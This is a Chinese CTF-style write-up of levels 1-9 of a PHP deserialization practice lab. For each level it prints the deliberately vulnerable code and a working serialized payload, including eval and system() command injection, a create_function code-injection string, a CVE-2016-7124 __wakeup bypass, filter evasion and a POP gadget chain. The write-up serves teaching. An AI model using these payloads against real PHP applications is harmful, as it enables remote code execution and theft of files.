php反序列化靶场php-ser-lib-main 1-9关

php-ser-lib-main

level-1

<?php
highlight_file(__FILE__);
class a{
	var $act;
	function action(){
		eval($this->act);
	}
}
$a=unserialize($_GET['flag']);
$a->action();
?>
<br><a href="../level2">点击进入第二关</a>

目录下有一个flag.php,所以利用php反序列化漏洞让eval执行访问flag.php的代码。由于eval函数可执行字符串中的代码,所以将访问flag.php的代码当作字符串赋值给act即可,构造序列化代码:

<?php
class a{
   var $act="show_source('flag.php');";
}
$b=new a();
echo urlencode(serialize($b));

level-2

<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
   var $user;
	var $pass;
	function __construct($user,$pass){
		$this->user=$user;
		$this->pass=$pass;
	}
   function login(){
		if ($this->user=="daydream" and $this->pass=="ok"){
			return 1;
		}
   }
}
$a=unserialize($_GET['param']);
if($a->login())
{
	echo $flag;
}
?> 
<br><a href="../level3">点击进入第三关</a>

这里使用到了construct魔术方法,这个方法在对象创建时自动使用。分析代码,只有在login函数返回1的时候才会输出flag,所以需要使得user和pass属性值为daydream和ok,构造序列化代码:

<?php
class mylogin{
   var $user="daydream";
   var $pass="ok";
}
$b=new mylogin();
echo urlencode(serialize($b));

感觉这在$b=new mylogin();这一段调用构造函数才是这一道题的考点…

level-3

<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
   var $user;
	var $pass;
	function __construct($user,$pass){
		$this->user=$user;
		$this->pass=$pass;
	}
   function login(){
		if ($this->user=="daydream" and $this->pass=="ok"){
			return 1;
		}
   }
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{
	echo $flag;
}
?> 
<br><a href="../level4">点击进入第四关</a>

这一关和上一关一样,但是需要在cookie中传参:

<?php
class mylogin{
   var $user="daydream";
   var $pass="ok";
}
$b=new mylogin();
echo urlencode(serialize($b));

level-4

<?php 
highlight_file(__FILE__);
class func
{
       public $key;
       public function __destruct()
       {        
               unserialize($this->key)();
       } 
}

class GetFlag
{       public $code;
       public $action;
       public function get_flag(){
           $a=$this->action;
           $a('', $this->code);
       }
}

unserialize($_GET['param']);

?>
<br><a href="../level5">点击进入第五关</a>
  • 环境:5.6不支持可变函数,7.2已废除create_function

这里使用到array的特性,当array第一个参数是对象,而第二个参数是对象的方法时候进行反序列化会自动调用对象的方法。这里要使用create_function函数

create_function是 PHP 中的一个已弃用的函数,用于从字符串参数创建一个匿名函数。此函数允许开发者动态地创建并执行代码,但是因为它带来了较高的安全风险,从 PHP 7.2.0 开始已被弃用,并且在 PHP 8.0.0 中被完全移除。create_function的基本语法如下:

create_function(string $args, string $code): string
  • $args:字符串参数,用于定义匿名函数的参数。例如,‘a, b’ 将会创建一个接受两个参数 $a 和 b 的函数。
  • $code:字符串参数,包含匿名函数的主体。这通常是有效的 PHP 代码。
$newfunc = create_function('$a, $b', 'return $a * $b;');
echo $newfunc(4, 5); // 输出:20

在上面的例子中,我们创建了一个简单的匿名函数,它接受两个参数 $a$b,并返回它们的乘积。然后,我们调用这个函数并传递参数 4 和 5,输出结果为 20。

所以构造序列化代码:

<?php
class func
{
       public $key;
       public function __destruct()
       {        
               unserialize($this->key)();
       } 
}

class GetFlag
{       public $code;
       public $action;
       public function get_flag(){
           $a=$this->action;
           $a('', $this->code);
       }
} 
$a2=new func();
$b=new GetFlag();
$b->code='}include("flag.php");echo $flag;//';
$b->action="create_function";
$a2->key=serialize(array($b,"get_flag"));
echo urlencode(serialize($a2));
?>

其中code这个字符串 '}include("flag.php");echo $flag;//' 是在尝试创建一个包含恶意代码的匿名函数时,插入到函数定义的末尾。这个字符串以 } 开始,意在闭合前面 create_function 可能会生成的函数体的开始部分(即 function () {)。

整个攻击链是这样的:

  • 首先array中第一个参数是设计好的GetFlag类的对象,第二个参数是它的方法,这样子充分利用了func类中的反序列化函数。
  • 将array序列化后的值赋值给func的key属性值,这是为了之后反序列化能够实现。接着将func类的对象a2序列化再url转化。
  • 后端函数在接收到序列化值时候,反序列化a2,函数执行结束调用析构函数,使得get_flag函数得以实现。

level-5

<?php
   class secret{
       var $file='index.php';

       public function __construct($file){
           $this->file=$file;
       }

       function __destruct(){
           include_once($this->file);
			echo $flag;
       }

       function __wakeup(){
           $this->file='index.php';
       }
   }
	$cmd=$_GET['cmd'];
   if (!isset($cmd)){
       echo show_source('index.php',true);
   }
   else{
       if (preg_match('/[oc]:\d+:/i',$cmd)){
           echo "Are you daydreaming?";
       }
       else{
           unserialize($cmd);
       }
   }
	//sercet in flag.php
?>
<br><a href="../level6">点击进入第六关</a>
  • 环境:CVE-2016-7124漏洞影响版本:PHP5 < 5.6.25,PHP7 < 7.0.10

这里有一个wakeup方法,这个方法是序列化对象恢复时调用的,当然可以绕过这个调用,只要在序列化后的字符串中类的数值比实践个数数组大的时候就不会触发__wakeup,配置成如上环境。这一道题还有一个过滤preg_match(‘/[oc]:\d+:/i’,$cmd),这个也可以绕过在对象个数前面加一个加号试试,构造序列化代码:

<?php
   class secret{
       var $file='flag.php';
   }
   $a=new secret();
echo serialize($a);
//O:6:"secret":1:{s:4:"file";s:8:"flag.php
echo urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');

level-6

<?php
highlight_file(__FILE__);
class secret{
   private $comm;
   public function __construct($com){
       $this->comm = $com;
   }
   function __destruct(){
       echo eval($this->comm);
   }
}
$param=$_GET['param'];
$param=str_replace("%","daydream",$param);
unserialize($param);
?>
<br><a href="../level7">点击进入第七关</a>

这一关需要绕过的就是str_replace函数,因为private、public、protect在序列化时候有影响


Public(公有):被序列化时属性值为:属性名
Protected(受保护):被序列化时属性值为:\x00*\x00属性名
Private(私有):被序列化时属性值为:\x00类名\x00属性
<?php
class secret{
   private $comm="system('sort flag.php');";
   function __destruct(){
       echo eval($this->comm);
   }
}

$a=new secret();
echo serialize($a);

对于绕过replace,可以使用\00代替%00,并且将s换成大写

O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"system('sort flag.php');";}
  • 小写 s:表示对象的属性名是一个普通的字符串。
  • 大写 S:表示对象的属性名是一个被 null 字节(\0)填充的字符串,也称为一个带有命名空间的属性名。这在 PHP 中通常用于类的私有(private)或受保护(protected)属性,因为这些属性在序列化时会被重命名,以避免命名冲突。

level-7

<?php
highlight_file(__FILE__);
class you
{
   private $body;
   private $pro='';
   function __destruct()
   {
       $project=$this->pro;
       $this->body->$project();
   }
}
class my
{
   public $name;

   function __call($func, $args)
   {
       if ($func == 'yourname' and $this->name == 'myname') {
           include('flag.php');
           echo $flag;
       }
   }
}
$a=$_GET['a'];
unserialize($a);
?>
<br><a href="../level8">点击进入第八关</a>

这里多了一个call方法,这个方法就是如果调用对象中没有的方法就会调用call方法。查看源代码,只要调用一个my类对象没有的方法,并且func和name的值对的上就行。call触发后会把该不存在的方法名直接以参数的形式传入__call方法中

至于如何调用到my中的方法,就要利用you类中的destruct方法。分析过后,将方法名赋值给pro就行,然后将body指向my的对象,这样$this->body->$project();就可以调用my的方法了。

<?php
class you{
   private $body;
   function set_body($arg)
   {
       $this->body=$arg;
   }
   private $pro="yourname";
}

class my{
   public $name="myname";
}
$a=new you();
$b=new my();
$a->set_body($b);
echo serialize($a);

要注意的是需要添加\00与切换大小写:

O:3:"you":2:{S:9:"\00you\00body";O:2:"my":1:{s:4:"name";s:6:"myname";}S:8:"\00you\00pro";s:8:"yourname";}

level-8

<?php
highlight_file(__FILE__);
function filter($name){
   $safe=array("flag","php");
   $name=str_replace($safe,"hack",$name);
   return $name;
}
class test{
   var $user;
   var $pass='daydream';
   function __construct($user){
       $this->user=$user;
   }
}

$param=$_GET['param'];
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
   echo file_get_contents("flag.php");
}
?>
<br><a href="../level9">点击进入第九关</a>

这一关的考点就是增量逃逸,假如我们有这一段代码,序列化之后:

class test{
   var $user='aaa";s:4:"aaaa";}';
   function __construct($user){
       $this->user=$user;
   }
}

O:4:test:2:{s:4:“user”;s:17:“aaa”;s:4:“aaaa”;}";s:4:“pass”;}

在序列化过程中;}是不会和前面的闭合的,但是在反序列化的时候就会闭合:

O:4:test:2:{s:4:“user”;s:17:“aaa”;s:4:“aaaa”;}

但是在反序列化的过程中会检测数量,就比如这里的17对应的3个a,数量不对就会报错,回到这道题,上面的过滤其实可以作为增量来处理,每一个php会增加1个字符,所以可以这样:

O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}

但是个人觉得没必要,因为你可以修改数量,比如17改为3就行了,所以我的payload为:

O:4:"test":2:{s:4:"user";s:1:"1";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}

level-9

pop型主要就是找链头和链尾。

<?php
//flag is in flag.php
highlight_file(__FILE__);
class Modifier {
   private $var;
   public function append($value)
   {
       include($value);
       echo $flag;
   }
   public function __invoke(){
       $this->append($this->var);
   }
}

class Show{
   public $source;
   public $str;
   public function __toString(){
       return $this->str->source;
   }
   public function __wakeup(){
       echo $this->source;
   }
}

class Test{
   public $p;
   public function __construct(){
       $this->p = array();
   }

   public function __get($key){
       $function = $this->p;
       return $function();
   }
}

if(isset($_GET['pop'])){
   unserialize($_GET['pop']);
}
?>
<br><a href="../level10">点击进入第十关</a>

链尾可以看出是Modifier类,因为有include也有echo flag,然后能够调用它的就是invoke方法而能调用invoke方法的就是Test类的get方法,get方法实现是访问到不可访问的属性值,而Show类的toString方法能做到,接着就是链头串起来:

<?php
class Modifier {
   private $var="flag.php";
}

class Show{
   public $source;
   public $str;
}

class Test{
   public $p;
}
$a=new Modifier();
$b=new show();
$c=new Test();

$b->source=$b;//类被当作字符串调用toString
$b->source->str=$c;//this->str->source没有这个属性,则调用c中的get
$c->p=$a;//上一步调用get后,a对象被当成函数,所以调用a的invoke

echo urlencode(serialize($b));
?>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金渐层大战哥斯拉

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值